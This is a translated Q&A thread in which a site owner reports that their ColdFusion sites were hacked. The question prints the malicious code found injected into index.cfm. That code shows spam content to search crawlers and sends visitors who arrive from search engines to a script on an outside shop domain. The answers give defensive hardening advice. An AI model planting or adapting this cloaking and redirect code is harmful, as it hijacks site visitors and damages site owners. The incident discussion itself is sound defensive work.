AARGH! Coldfusion网站遭到黑客入侵

时间:2013-11-28 10:36:02

标签: redirect coldfusion code-injection

当有人进行谷歌搜索时,我们的一些coldfusion网站被重定向到桑树网站。有办法防止这种情况吗?他们一开始是怎么做到的?看起来这个代码被插入到index.cfm中:

<cffunction name="isSpider" returntype="boolean">

    <cfif reFindNoCase("(bot|crawl|spider|slurp|yahoo|sohu-search|lycos|robozil la)", cgi.http_user_agent)>

        <cfreturn true />

    <cfelse>

        <cfreturn false />

    </cfif>

</cffunction>



<cffunction name="isEngine" returntype="boolean">

    <cfif reFindNoCase("(google|bing|aol|search|baidu|yahoo|sogou|soso|live|you dao|so)", cgi.http_referer)>

        <cfreturn true />

    <cfelse>

        <cfreturn false />

    </cfif>

</cffunction>



<cffunction name="isPage" returntype="boolean">

    <cfif reFindNoCase("(index.|default.|main.)", cgi.script_name)>

        <cfreturn true />

    <cfelse>

        <cfreturn false />

    </cfif>

</cffunction>



<cfif isSpider() and isPage()>

    <cfcontent reset="true" />

    <cffile action="read" file="#expandPath("/images/log.gif")#" variable="tpl" />

    <cfoutput>#tpl#</cfoutput>

    <cfabort />

</cfif>



<cfif isEngine() and isPage()>

    <cfcontent reset="true" />

    <script src="http://www.shopsnapbackhatus.com/jie/mulberry.gif" type="text/javascript" charset="utf-8"></script>

    <cfabort />

</cfif>

2 个答案:

答案 0 :(得分:2)

你没有提到哪个版本的CF,也没有提到IIS或apache等(再次是哪个版本)等。

攻击可能是通过多个向量来实现的,并且很可能有一些描述的后门,因为他们正在积极地将代码写入模板。即使你找到了切入点,它也不会有任何好处,除非你能说'是的就是这个'并修补它。你的CF是最新的吗?

从这里开始:http://hackmycf.com/

然后看看你的模板 - 我愿意打赌那里有一些不应该的.cfm文件。你有备份吗?比较它(并回溯几个月 - 很多入侵尝试提前访问,暂时离开,然后开始做事。)

就个人而言,我会考虑再次擦除并重新启动,但即使这样,您还需要检查重新部署的代码是否100%安全,并且环境是否已完全修补,并且您实际上已找到了初始值原因。

答案 1 :(得分:0)

首先

  1. 可能是由谷歌或其他搜索引擎代替检查您的代码。
  2. 从ColdFusion应用当前的补丁。
  3. 确保您使用的是所有查询,因为SQL注入最有可能导致此问题。
  4. 不要忘记XSS攻击。如果这些网站采用公开显示的用户输入,则首先对用户输入您的网站进行适当编码。
  5. 查看ColdFusion锁定指南(请根据您的coldfusion版本选择)http://www.adobe.com/content/dam/Adobe/en/products/coldfusion/pdfs/91025512-cf9-lockdownguide-wp-ue.pdf
  6. 以上所有内容都使用任何商业或开源工具(我喜欢Zad攻击代理)对您的所有网站(如果您正在管理它)执行漏洞测试。

    在执行上述所有操作之前,请检查现有数据库中的杂项代码(通常是javascript标记)并进行更正。